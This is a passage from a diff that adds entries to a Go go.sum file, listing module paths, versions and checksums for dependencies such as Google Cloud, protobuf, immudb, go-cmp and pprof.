h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M= +cloud.google.com/go/compute v1.6.0/go.mod h1:T29tfhtVbq1wvAPo0E3+7vhgmkOYeXjhFvz/FMzPu0s= +cloud.google.com/go/compute v1.6.1/go.mod h1:g85FgpzFvNULZ+S8AYq87axRKuf2Kh7deLqV/jJ3thU= +cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= +cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= +cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= +cloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY= +cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= +cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= +cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= +cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= +cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= +cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= +cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= +cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= +cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= +dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= +github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= +github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= +github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= +github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs= +github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= +github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= +github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= +github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= +github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= +github.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= +github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOdbQRg5nAHt2jrc5QbV0AGuhDdfQI6gXjiFE= +github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= +github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= +github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= +github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= +github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= +github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= +github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= +github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= +github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= +github.com/armon/go-metrics v0.3.10/go.mod h1:4O98XIr/9W0sxpJ8UaYkvjk10Iff7SnFrb4QAOwNTFc= +github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= +github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= +github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= +github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= +github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= +github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= +github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= +github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= +github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= +github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= +github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= +github.com/codenotary/immudb v1.3.3-0.20220901104917-81d4fb37b70e h1:DEXxnVTC3FaUI46Dj+2WWnHCCXCLyOHyH9DxVzmXwSM= +github.com/codenotary/immudb v1.3.3-0.20220901104917-81d4fb37b70e/go.mod h1:rDId/mTSZtEF9f6SOJXNvwh1MsL/J69AAti0Q4bRok4= +github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= +github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= +github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= +github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= +github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= +github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= +github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= +github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dgraph-io/ristretto v0.0.1/go.mod h1:T40EBc7CJke8TkpiYfGGKAeFjSaxuFXhuXRyumBd6RE= +github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= +github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= +github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= +github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= +github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= +github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= +github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= +github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= +github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= +github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= +github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= +github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= +github.com/fsnotify/fsnotify v1.5.4 h1:jRbGcIw6P2Meqdwuo0H1p6JVLbL5DHKAKlYndzMwVZI= +github.com/fsnotify/fsnotify v1.5.4/go.mod h1:OVB6XrOHzAwXMpEM7uPOzcehqUV2UqJxmVXmkdnm1bU= +github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= +github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= +github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= +github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= +github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= +github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= +github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= +github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= +github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= +github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= +github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= +github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= +github.com/golang/protobuf v1.0.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= +github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= +github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= +github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= +github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= +github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= +github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= 